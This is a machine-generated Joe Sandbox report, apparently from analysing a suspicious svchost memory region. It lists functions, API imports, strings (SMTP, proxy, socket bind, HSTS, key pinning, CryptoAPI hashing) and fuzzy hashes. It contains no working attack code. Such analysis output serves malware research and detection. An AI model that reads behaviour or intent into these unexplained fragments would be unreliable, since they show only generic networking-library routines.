Associated: 00000010.00000002.2562469981.00000173D03D9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d03b0000_svchost.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 74fd91d67496214158fd315a04cded00c411d46558866947622f89becc2b6a32
Instruction ID: b905cbf759bbb08869538362d06dad7acf8dab3dcc31abde94d38fbdd58cea87
Opcode Fuzzy Hash: 74fd91d67496214158fd315a04cded00c411d46558866947622f89becc2b6a32
Instruction Fuzzy Hash: 32F04934B0928041FF7656E2DA543D5D2B05B89FC8F8C18341D2E8A7C6FBBECA916210

Function 00000173D018FEC0 Relevance: 1.3, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00000173D018FED5

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 61ce7c71b359922bf70661d37482ef1cbf245bc6e1db0f0ea117e0447321ee61
Instruction ID: 6388e022b5f097a46485c13e1e5096cbd60c2f19dafa93ed9f2c739126364ee3
Opcode Fuzzy Hash: 61ce7c71b359922bf70661d37482ef1cbf245bc6e1db0f0ea117e0447321ee61
Instruction Fuzzy Hash: 06D02BA272498001DB3855F7F6836DAD052975AFC0F88D034AE198BB8AEA2CC2810700

Non-executed Functions

Function 00000173D019A3A0 Relevance: 58.1, APIs: 22, Strings: 11, Instructions: 346stringCOMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D019A3FB
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D019A438
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D019A4AB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D019A4C5
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D019A4D4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D019A4E5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D019A4ED
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D019A4F5
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D019A545
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D019A577
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D019A5EF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D019A609
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D019A618

Part of subcall function 00000173D0193F70: calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000173D0194482), ref: 00000173D0193F8F

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D019A629
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D019A632
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D019A63A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D019A746
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D019A74F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D019A758
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D019A87B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D019A884
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D019A88E

Strings

AUTH=, xrefs: 00000173D019A817
Mime-Version: 1.0, xrefs: 00000173D019A6BC
state change from %s to %s, xrefs: 00000173D019A8BC
%lld, xrefs: 00000173D019A72B
MAIL, xrefs: 00000173D019A8AB
SIZE=, xrefs: 00000173D019A823
MAIL FROM:%s%s%s%s%s%s, xrefs: 00000173D019A84B
Mime-Version, xrefs: 00000173D019A6A1
<%s@%s>, xrefs: 00000173D019A499, 00000173D019A5DD
<%s>, xrefs: 00000173D019A4B3, 00000173D019A5F7
SMTPUTF8, xrefs: 00000173D019A80C

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free$_strdup$strpbrk$calloc
String ID: AUTH=$ SIZE=$ SMTPUTF8$%lld$<%s>$<%s@%s>$MAIL$MAIL FROM:%s%s%s%s%s%s$Mime-Version$Mime-Version: 1.0$state change from %s to %s
API String ID: 2687331901-2592802878
Opcode ID: 77683b034023e0f09403e8cfb9fedcec5a80b7e659e4f3fa74468bc290c19b37
Instruction ID: 5150c4299bba8bba66cdbf27cf11e9d68df7a2451df87fa0d18afc9d80648518
Opcode Fuzzy Hash: 77683b034023e0f09403e8cfb9fedcec5a80b7e659e4f3fa74468bc290c19b37
Instruction Fuzzy Hash: 14E16AB9209A4181FB759BA5E4513E9A3B0AB45FD4FC805119DBE07791FF38CB4AE380

Function 00000173D01B4560 Relevance: 56.3, APIs: 25, Strings: 7, Instructions: 251stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D01B45CA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01B45FB
_vfwprintf_l.LIBCMT ref: 00000173D01B463D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01B4647
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D01B466C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01B467F

Strings

Z, xrefs: 00000173D01B490E
Z, xrefs: 00000173D01B4579
;sha256//, xrefs: 00000173D01B46A0
public key hash: sha256//%s, xrefs: 00000173D01B465A
-----END PUBLIC KEY-----, xrefs: 00000173D01B4832
sha256//, xrefs: 00000173D01B45C0, 00000173D01B46EE
-----BEGIN PUBLIC KEY-----, xrefs: 00000173D01B47FE

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free$_strdup_vfwprintf_lmallocstrncmp
String ID: -----END PUBLIC KEY-----$ public key hash: sha256//%s$-----BEGIN PUBLIC KEY-----$;sha256//$Z$Z$sha256//
API String ID: 141866899-1456817947
Opcode ID: 0e6319b7de69a80c1b548ad74560fad343a29925f386b4f68f10fe632278962a
Instruction ID: 6885843332948220a6d969eebe71c3a703108cd6f11444f1e769de40d9f0dbff
Opcode Fuzzy Hash: 0e6319b7de69a80c1b548ad74560fad343a29925f386b4f68f10fe632278962a
Instruction Fuzzy Hash: 9DA19039209B6042FA769BD6E8503EAA7B0A74AFC4FC84025DD6D47795FF38C645E700

Function 00000173D01A74F0 Relevance: 42.3, APIs: 16, Strings: 8, Instructions: 269COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000003,?), ref: 00000173D01A754D
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000003,?), ref: 00000173D01A7562
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000003,?), ref: 00000173D01A7582
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000003,?), ref: 00000173D01A75B0
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000003,?), ref: 00000173D01A75D3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000003,?), ref: 00000173D01A7656
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000003,?), ref: 00000173D01A7661
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000003,?), ref: 00000173D01A766C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000003,?), ref: 00000173D01A7742
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A776F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000003,?), ref: 00000173D01A7795
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000003,?), ref: 00000173D01A7810
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000003,?), ref: 00000173D01A783B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A78E4

Part of subcall function 00000173D0171BF0: realloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0171C18
Part of subcall function 00000173D0171BF0: GetEnvironmentVariableA.KERNEL32 ref: 00000173D0171C3E
Part of subcall function 00000173D0171BF0: realloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0171C5F
Part of subcall function 00000173D0171BF0: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0171C70

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A7923
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A792C

Strings

Uses proxy env variable %s == '%s', xrefs: 00000173D01A7623, 00000173D01A772D
http_proxy, xrefs: 00000173D01A76C5
ALL_PROXY, xrefs: 00000173D01A7713
no_proxy, xrefs: 00000173D01A75F2
%s_proxy, xrefs: 00000173D01A7690
NO_PROXY, xrefs: 00000173D01A7609
all_proxy, xrefs: 00000173D01A76FC
memory shortage, xrefs: 00000173D01A7590

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free$_strdup$realloc$EnvironmentVariable
String ID: %s_proxy$ALL_PROXY$NO_PROXY$Uses proxy env variable %s == '%s'$all_proxy$http_proxy$memory shortage$no_proxy
API String ID: 2726205129-4066991793
Opcode ID: b20cf2b845424565f570792b0e81b042a5e8e627cde1f0f3cdc473821897583c
Instruction ID: a8c8cad3041fc6426d18125f054f455d69d5d1e1aac4d365a207e0309e362902
Opcode Fuzzy Hash: b20cf2b845424565f570792b0e81b042a5e8e627cde1f0f3cdc473821897583c
Instruction Fuzzy Hash: 8DC19E39209B8080FA729BA5D8183E9A7B0B745FDCF8841258E6D1B395FF38C746E350

Function 00000173D0157410 Relevance: 38.8, APIs: 15, Strings: 7, Instructions: 309networkstringCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00000173D0157508
WSAGetLastError.WS2_32 ref: 00000173D01575C6
strchr.VCRUNTIME140 ref: 00000173D01576EA
inet_pton.WS2_32 ref: 00000173D015770F
htons.WS2_32 ref: 00000173D0157722
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00000173D015773D
inet_pton.WS2_32 ref: 00000173D0157762
htons.WS2_32 ref: 00000173D0157774
WSAGetLastError.WS2_32 ref: 00000173D015779B
htons.WS2_32 ref: 00000173D01577F0
htons.WS2_32 ref: 00000173D0157814
bind.WS2_32 ref: 00000173D015783A
htons.WS2_32 ref: 00000173D0157873
bind.WS2_32 ref: 00000173D0157889
WSAGetLastError.WS2_32 ref: 00000173D01578D2

Strings

Local Interface %s is ip %s using address family %i, xrefs: 00000173D015757A
Local port: %hu, xrefs: 00000173D0157897
bind failed with errno %d: %s, xrefs: 00000173D01578F7
Couldn't bind to '%s' with errno %d: %s, xrefs: 00000173D01577C8
Bind to local port %d failed, trying next, xrefs: 00000173D015785E
Name '%s' family %i resolved to '%s' family %i, xrefs: 00000173D01576A4
Couldn't bind to interface '%s' with errno %d: %s, xrefs: 00000173D01575F3

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: htons$ErrorLast$bindinet_pton$memsetstrchrstrtoul
String ID: Bind to local port %d failed, trying next$Couldn't bind to '%s' with errno %d: %s$Couldn't bind to interface '%s' with errno %d: %s$Local Interface %s is ip %s using address family %i$Local port: %hu$Name '%s' family %i resolved to '%s' family %i$bind failed with errno %d: %s
API String ID: 878540305-2129795902
Opcode ID: 07d82eafe94d52fbd0b2abec221f66aedff51bda220d6698779ff65217634cad
Instruction ID: 7e2680880f674c223dc22de45b43b7db39671d76e4148bbba229b2d3ce70d351
Opcode Fuzzy Hash: 07d82eafe94d52fbd0b2abec221f66aedff51bda220d6698779ff65217634cad
Instruction Fuzzy Hash: 22D18F7A60C79086FB219BA5E4553EAA7B0F749FC4F800216EE6D4BB95FB78C640D700

Function 00000173D01A8670 Relevance: 33.7, APIs: 8, Strings: 11, Instructions: 453stringCOMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A8737
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00000173D01A8D40

Part of subcall function 00000173D01A9110: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A9124
Part of subcall function 00000173D01A9110: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A913A
Part of subcall function 00000173D01A9110: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A914E
Part of subcall function 00000173D01A9110: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A9162
Part of subcall function 00000173D01A9110: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A9176
Part of subcall function 00000173D01A9110: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A918A
Part of subcall function 00000173D01A9110: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A919E
Part of subcall function 00000173D01A9110: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A91B2

Part of subcall function 00000173D01A9E10: calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A9E27
Part of subcall function 00000173D01A9E10: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D01A9E41
Part of subcall function 00000173D01A9E10: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D01A9E5C
Part of subcall function 00000173D01A9E10: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D01A9E78
Part of subcall function 00000173D01A9E10: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D01A9E94
Part of subcall function 00000173D01A9E10: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D01A9EB0
Part of subcall function 00000173D01A9E10: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D01A9EC8
Part of subcall function 00000173D01A9E10: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D01A9EE0
Part of subcall function 00000173D01A9E10: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D01A9EF8
Part of subcall function 00000173D01A9E10: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D01A9F10
Part of subcall function 00000173D01A9E10: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D01A9F28
Part of subcall function 00000173D01A9E10: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A9F42

Strings

%s://%s, xrefs: 00000173D01A8708
Switched from HTTP to HTTPS due to HSTS => %s, xrefs: 00000173D01A8A19
Protocol "%s" %s%s, xrefs: 00000173D01A8DDA
URL rejected: %s, xrefs: 00000173D01A879C
https, xrefs: 00000173D01A8954
not supported, xrefs: 00000173D01A8DC0
Too long hostname (maximum is %d), xrefs: 00000173D01A89FB
file, xrefs: 00000173D01A8877, 00000173D01A8D1C
http, xrefs: 00000173D01A8915
(in redirect), xrefs: 00000173D01A8DAB
disabled, xrefs: 00000173D01A8DCF

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: _strdupfree$callocstrtoul
String ID: (in redirect)$%s://%s$Protocol "%s" %s%s$Switched from HTTP to HTTPS due to HSTS => %s$Too long hostname (maximum is %d)$URL rejected: %s$disabled$file$http$https$not supported
API String ID: 3044576692-2601942094
Opcode ID: 27f0cfac5c0f906d01e34f8b11620997523244c4763ebd0762416814ae1528cb
Instruction ID: 3c0c302886c7d79a2553cde684ae161758a990d4414cbd366995b30c3fc41d3e
Opcode Fuzzy Hash: 27f0cfac5c0f906d01e34f8b11620997523244c4763ebd0762416814ae1528cb
Instruction Fuzzy Hash: F812D03A30868192FB799BA5D5403EAE6B4F785FC4FC84025DB6D57685FB38C652E300

Function 00000173D01975F0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32 ref: 00000173D0197628
CryptCreateHash.ADVAPI32 ref: 00000173D0197656
CryptReleaseContext.ADVAPI32 ref: 00000173D0197667

Strings

@, xrefs: 00000173D019760A
, xrefs: 00000173D01976C4

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: Crypt$Context$AcquireCreateHashRelease
String ID: $@
API String ID: 4045725610-1077428164
Opcode ID: 05dd9ea463f012a801519a48da2b6d86e0599e5ab27049c70c2ae09c640e16b4
Instruction ID: 1ed942987bd0ca99010bc2f43af5472c930b4a85357f537258385b46e494deb4
Opcode Fuzzy Hash: 05dd9ea463f012a801519a48da2b6d86e0599e5ab27049c70c2ae09c640e16b4
Instruction Fuzzy Hash: A8316F7A218A4486F7619BA1E4947ABA770FBC9FC4F805111FAAE47A54EF3CC6059B00

Function 00000173D01816F0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 77encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32 ref: 00000173D0181738
CryptCreateHash.ADVAPI32 ref: 00000173D018175C
CryptReleaseContext.ADVAPI32 ref: 00000173D018176D
CryptHashData.ADVAPI32 ref: 00000173D01817AB
CryptGetHashParam.ADVAPI32 ref: 00000173D01817CB
CryptGetHashParam.ADVAPI32 ref: 00000173D01817EE
CryptDestroyHash.ADVAPI32 ref: 00000173D01817FE
CryptReleaseContext.ADVAPI32 ref: 00000173D0181810

Strings

@, xrefs: 00000173D018170E

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: Crypt$Hash$Context$ParamRelease$AcquireCreateDataDestroy
String ID: @
API String ID: 1945989244-2766056989
Opcode ID: 2889442b78905fdd8d053631efe5adc346a36845afa57c8f14538a81b6263cd3
Instruction ID: df06b1e9174f2a06cfb0163e79c2f88043031db285efc5f6bb17cb9a9cdd9e41
Opcode Fuzzy Hash: 2889442b78905fdd8d053631efe5adc346a36845afa57c8f14538a81b6263cd3
Instruction Fuzzy Hash: 9131623A21868486E7609FA1E4947ABB371FBC9FC4F845015FA9E47E54EF3CC6059B00

Function 00000173D018B4E0 Relevance: 15.4, APIs: 10, Instructions: 364COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f33aeb016327e73d0152d8b92bd744c98b307bf5d66c1aaf36a71338b65c981
Instruction ID: 3599aa0cdccf08f6869f93bc1816942a0115f3b392d3e92ba13d933027f6ca18
Opcode Fuzzy Hash: 4f33aeb016327e73d0152d8b92bd744c98b307bf5d66c1aaf36a71338b65c981
Instruction Fuzzy Hash: 8CE1937A31879092EB748BA6D4D07EAA7B4F785FC4F804015EEAD47A94EB3CC640DB40

Function 00000173D018C7B0 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 485stringCOMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D018CB0A
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D018CB12
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00000173D018CB2A
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D018CB32
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D018CB3A
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D018CB44

Strings

GMT, xrefs: 00000173D018C986

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: _errno$strtol
String ID: GMT
API String ID: 3596500743-2739267314
Opcode ID: 1dd6f7492b7d8111a33b03ad8019fd3ad4e7af892785d0238c0d935642fd42e2
Instruction ID: fd14272b497522e09ff5ab4cfe9afbca93b0afb82a8cc2d923e0654fe19a2d67
Opcode Fuzzy Hash: 1dd6f7492b7d8111a33b03ad8019fd3ad4e7af892785d0238c0d935642fd42e2
Instruction Fuzzy Hash: 7F12E37AA1858456EA348AA9D4C03E9F7A1F345FE4FC44217DABE476C5F73C8B01AB00

Function 00000173D0197560 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33encryptionCOMMON

Download Yara Rule

APIs

CryptGetHashParam.ADVAPI32 ref: 00000173D0197591
CryptGetHashParam.ADVAPI32 ref: 00000173D01975B7
CryptDestroyHash.ADVAPI32 ref: 00000173D01975C6
CryptReleaseContext.ADVAPI32 ref: 00000173D01975D6

Strings

, xrefs: 00000173D0197597

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: Crypt$Hash$Param$ContextDestroyRelease
String ID:
API String ID: 2110207923-3916222277
Opcode ID: a7845bf00f8975745b4070b3587b28da376b11f67f3ab308eeb3fdc92103bbdc
Instruction ID: 4cb98b5b8c6b30d8d630c385a23fb62ee37858c914980e848e769cdeb6ff7246
Opcode Fuzzy Hash: a7845bf00f8975745b4070b3587b28da376b11f67f3ab308eeb3fdc92103bbdc
Instruction Fuzzy Hash: E0018F7A20864486FB20DFA0E4943BBE370FB89FC4F944111EAAD06A68DF7CC544CB00

Function 00000173D018A4A4 Relevance: 7.8, APIs: 3, Strings: 2, Instructions: 318COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D018A6EA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D018A728
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D018A736

Strings

Resolving timed out after %lld milliseconds, xrefs: 00000173D018AE9C
operation aborted by pre-request callback, xrefs: 00000173D018A503

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free
String ID: Resolving timed out after %lld milliseconds$operation aborted by pre-request callback
API String ID: 1294909896-247252918
Opcode ID: 9b71fe19b17558c535b4c30176accc14f1f9a49e4d510d29523e8f09ac2727bc
Instruction ID: 94239b9964d66b86a107e7c33688e840eca03ab893adf4364b3895557b6da8aa
Opcode Fuzzy Hash: 9b71fe19b17558c535b4c30176accc14f1f9a49e4d510d29523e8f09ac2727bc
